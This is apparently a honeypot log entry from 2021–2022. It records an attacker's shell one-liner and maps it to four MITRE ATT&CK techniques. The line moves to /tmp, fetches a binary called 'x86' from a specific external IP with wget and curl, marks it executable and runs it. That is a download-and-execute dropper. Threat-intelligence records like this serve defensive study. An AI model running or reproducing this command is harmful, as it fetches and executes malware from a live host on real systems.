Honeypot attack session (period 2021_2022), commands issued:
cd /tmp || cd /; wget -q http://209.141.40.31/Y91/x86; curl -O http://209.141.40.31/Y91/x86 chmod +x *; ./x86

MITRE ATT&CK techniques observed:
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter